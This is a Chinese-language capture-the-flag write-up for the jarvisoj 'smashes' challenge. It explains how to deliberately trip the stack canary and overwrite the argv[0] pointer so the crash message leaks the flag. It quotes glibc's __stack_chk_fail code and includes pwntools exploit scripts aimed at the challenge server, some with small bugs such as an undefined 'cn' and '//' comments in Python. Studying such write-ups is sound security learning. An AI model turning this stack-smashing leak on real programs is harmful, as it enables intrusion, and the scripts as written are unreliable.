故意觸發(fā)棧溢出保護。
題目地址:https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229
關(guān)于canary對于棧的保護,它的值一旦被改變程序便會結(jié)束。后面會把找到的與棧有關(guān)的放在一起。
過程:
?文件的堆棧保護開啟,隨機地址沒有的話方便我們對特殊位置進行溢出覆蓋。

使用ida加載找到關(guān)鍵部分。

很開心的是我們可以通過gets函數(shù)進行任意長度的寫入。但是因為傳入的字符串末尾用 '/n' 結(jié)束,沒法繞過canary的檢測。
?關(guān)于canary的值,在最高位都是 '0x00'結(jié)束。為的就是如果在canary的上方輸入的字符串,一般都是用0截斷,如果我們將字符串的空間寫滿緊挨著canary的位置。那么當(dāng)輸出這個字符串的時候,這個沒有截斷的canary的值很容易就被打印出來。

?在這個程序中沒有地方打印出flag的地方,也沒辦法繞過檢測。那么如果故意觸發(fā)canary的檢測,能不能讓canary打印出我們要的東西。
?正常情況下當(dāng)我們觸發(fā)檢測的時候程序會進入檢測報錯的函數(shù),看下它的源碼。
__stack_chk_fail :
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
fortify_fail:
void
__attribute__ ((noreturn))
__fortify_fail (msg)
constchar*msg; {
/* The loop is added only to keep gcc happy. */
while(1)
__libc_message (2,"*** %s ***: %s terminated\n", msg, __libc_argv[0] ?:"")
}
libc_hidden_def (__fortify_fail)
只要我們覆蓋掉指向argv[0]的指針,那么就能輸出想要的值。
嘗試下:


poc 1.0
from pwn import*
//a.process('smaches')
//a= remote('pwn.jarvisoj.com', 9877)
a.recv()
cn.sendline(p64(0x0000000000600D20)*264)
a.recv()
a.sendline()
a.interactive()
可并沒有按照我的預(yù)期打印出flag,但換成其他的地址都成功打印出來了。
在后來查的時候找到了這道題的blog,https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/?tdsourcetag=s_pctim_aiomsg?? 里面還有很多canary的總結(jié)。
原因是在fun1的末尾有這樣一句

?? 在0x0000000000600D20位置的flag已經(jīng)被覆蓋掉了,這個位置的flag已經(jīng)找不到了。
?在接下來用的就是ELF的重映射,如果加載的文件體積足夠小,那么很有可能在其他地方也被加載。gdb調(diào)試,注意斷點位置。如果運行到結(jié)束地址的數(shù)據(jù)會被覆蓋。繼而找不到。

poc2
from pwn import*
context.log_level = 'debug'
a=remote("pwn.jarvisoj.com","9877")
a.recv()
cn.sendline(p64(0x400d20)*264)
a.recv()
a.sendline(‘hello')
a.interactive()

ps:我們要求的只是觸發(fā)canary保護,所以只要比字符串的棧空間大就行
a = process('pwn_smashes')
a.recv()
a.sendline(p64(0x0000000000400934)*200)#直接用我們所需的地址占滿整個棧
a.recv()
a.sendline()
a.recv()